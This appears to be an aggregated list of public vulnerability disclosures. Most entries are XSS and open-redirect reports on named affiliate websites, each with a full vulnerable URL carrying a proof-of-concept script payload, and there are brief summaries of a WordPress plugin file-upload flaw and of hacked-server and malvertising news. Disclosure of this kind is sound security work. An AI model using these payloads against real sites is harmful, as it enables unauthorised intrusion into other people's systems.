webstarts.com XSS vulnerability

Open Bug Bounty ID: OBB-186225 Description| Value ---|--- Affected Website:| webstarts.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

affiliates.wehkamp.nl XSS vulnerability

Vulnerable URL: https://affiliates.wehkamp.nl/pan/reports/ClientList.html?popup=true=-1=-1=true"'/;a=eval;b=alert;ab/xssposed/;...

Inside the xDedic Hacked Server Marketplace

An underground market peddling hacked servers was a unique find, even for a seasoned researcher such as Juan Andres Guerrero-Saade of Kaspersky Lab. But there it was, xDedic.biz selling access to tens of thousands of servers for pennies on the dollar. A Russian-speaking hacker group was...

partners.awardaffiliates.com XSS vulnerability

Vulnerable URL: http://partners.awardaffiliates.com/processing/profilerotator.asp?pid=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 31.10.2016 Latest check for patch:| 31.10.2016 15:47 GMT Vulnerability type:| XSS Vulnerability...

affiliates.betamerica.com XSS vulnerability

Vulnerable URL: http://affiliates.betamerica.com/processing/profilerotator.asp?pid=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 31.10.2016 Latest check for patch:| 31.10.2016 16:01 GMT Vulnerability type:| XSS Vulnerability...

affiliates.betonfinance.com XSS vulnerability

Vulnerable URL: https://affiliates.betonfinance.com/processing/profilerotator.asp?pid=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 31.10.2016 Latest check for patch:| 31.10.2016 16:01 GMT Vulnerability type:| XSS Vulnerability...

affiliates.smartliveaffiliates.com XSS vulnerability

Vulnerable URL: http://affiliates.smartliveaffiliates.com/processing/profilerotator.asp?pid=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 31.10.2016 Latest check for patch:| 31.10.2016 16:02 GMT Vulnerability type:| XSS...

partners.goldennuggetaffiliates.com XSS vulnerability

Vulnerable URL: https://partners.goldennuggetaffiliates.com/processing/profilerotator.asp?pid=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 31.10.2016 Latest check for patch:| 31.10.2016 15:51 GMT Vulnerability type:| XSS...

affiliates.tombola.co.uk XSS vulnerability

Vulnerable URL: http://affiliates.tombola.co.uk/processing/profilerotator.asp?pid=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 31.10.2016 Latest check for patch:| 31.10.2016 16:03 GMT Vulnerability type:| XSS Vulnerability...

affiliates.fanpicks.com XSS vulnerability

Vulnerable URL: https://affiliates.fanpicks.com/processing/profilerotator.asp?pid=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 31.10.2016 Latest check for patch:| 31.10.2016 16:39 GMT Vulnerability type:| XSS Vulnerability...

affiliates.pinnaclesports.com XSS vulnerability

Vulnerable URL: https://affiliates.pinnaclesports.com/processing/profilerotator.asp?pid=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

affiliates.neteller.com XSS vulnerability

Vulnerable URL: https://affiliates.neteller.com/processing/profilerotator.asp?pid=%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 31.10.2016 Latest check for patch:| 31.10.2016 16:42 GMT Vulnerability type:| XSS Vulnerability...

Malvertising Campaign Hits Top Websites to Spread Ransomware

Hackers are always in search for an elite method to create loopholes in the cyberspace to implement the dark rules in the form of vulnerability exploitation. Top Trustworthy sites such as The New York Times, BBC, MSN, AOL and many more are on the verge of losing their face value as a malwertized...

affiliates.virtualsheetmusic.com XSS vulnerability

Vulnerable URL: https://affiliates.virtualsheetmusic.com/?id=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated...

affiliates.bookdepository.com XSS vulnerability

Vulnerable URL: http://affiliates.bookdepository.com/scripts/banner.php?aaid=peranaabid=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E=1&refx2s6d;=+encodeURIComponent%28encodeURIComponent%28document.URL%29%29+ Details: Description| Value ---|--- Patched:| Yes, at 27.10.2017 Latest check for patch:...

affiliates.penthouse.com Open Redirect vulnerability

Vulnerable URL: https://affiliates.penthouse.com/cgi-bin/public/offsite.cgi?https://www.xssposed.org Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 11:19 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa...

WordPress WooCommerce Amazon Affiliates 7.0 Shell Upload / File Disclosure Vulnerabilities

WordPress WooCommerce Amazon Affiliates plugin version 7.0 suffers from file disclosure and remote shell upload vulnerabilities. WooCommerce Amazon Affiliates Wordpress Plugin Unauthenicated Arbitrary File Upload & LFD Link:...

WordPress WooCommerce Amazon Affiliates 7.0 Shell Upload / File Disclosure

WooCommerce Amazon Affiliates Wordpress Plugin Unauthenicated Arbitrary File Upload & LFD Link: http://codecanyon.net/item/woocommerce-amazon-affiliates-wordpress-plugin/3057503 Version: 7.0 This Plugin is Vulnerable to Local File Disclosure and Remote Code Execute via Arbitrary File Upload...

WordPress WooCommerce Amazon Affiliates - Arbitrary File Upload

This WordPress plugin is vulnerable to Local File Disclosure and Remote Code Execute via Arbitrary File Upload. Solution Update the plugin...

WordPress WooCommerce Amazon Affiliates - Arbitrary File Upload

This WordPress plugin is vulnerable to Local File Disclosure and Remote Code Execute via Arbitrary File Upload. Solution Update the plugin...